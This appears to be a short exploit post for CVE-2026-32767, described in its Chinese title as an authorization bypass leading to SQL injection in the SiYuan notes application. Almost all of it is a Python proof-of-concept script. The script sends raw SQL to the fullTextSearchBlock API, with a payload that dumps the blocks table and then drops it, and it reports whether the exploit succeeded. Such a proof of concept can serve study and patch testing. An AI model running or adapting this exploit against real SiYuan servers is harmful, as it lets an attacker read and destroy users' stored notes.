CVE-2026-32767 SiYuan授权绕过致SQL注入漏洞

import requests import json # Target URL (Default SiYuan port is 6806) target_url = "http://localhost:6806/api/search/fullTextSearchBlock" # Valid authentication cookie/token is required as the user must be authenticated headers = { "Content-Type": "application/json", "Authorization": "Bearer YOUR_VALID_SESSION_TOKEN_HERE" } # Exploit payload # Setting method to 2 triggers the raw SQL execution path # The 'query' parameter accepts the raw SQL statement payload = { "method": 2, "query": "SELECT * FROM blocks; DROP TABLE blocks; --" } try: response = requests.post(target_url, headers=headers, json=payload, timeout=10) if response.status_code == 200: print("[+] Exploit successful! SQL executed.") print("[+] Response:", response.text) else: print("[-] Exploit failed or server returned error.") print("[-] Status Code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")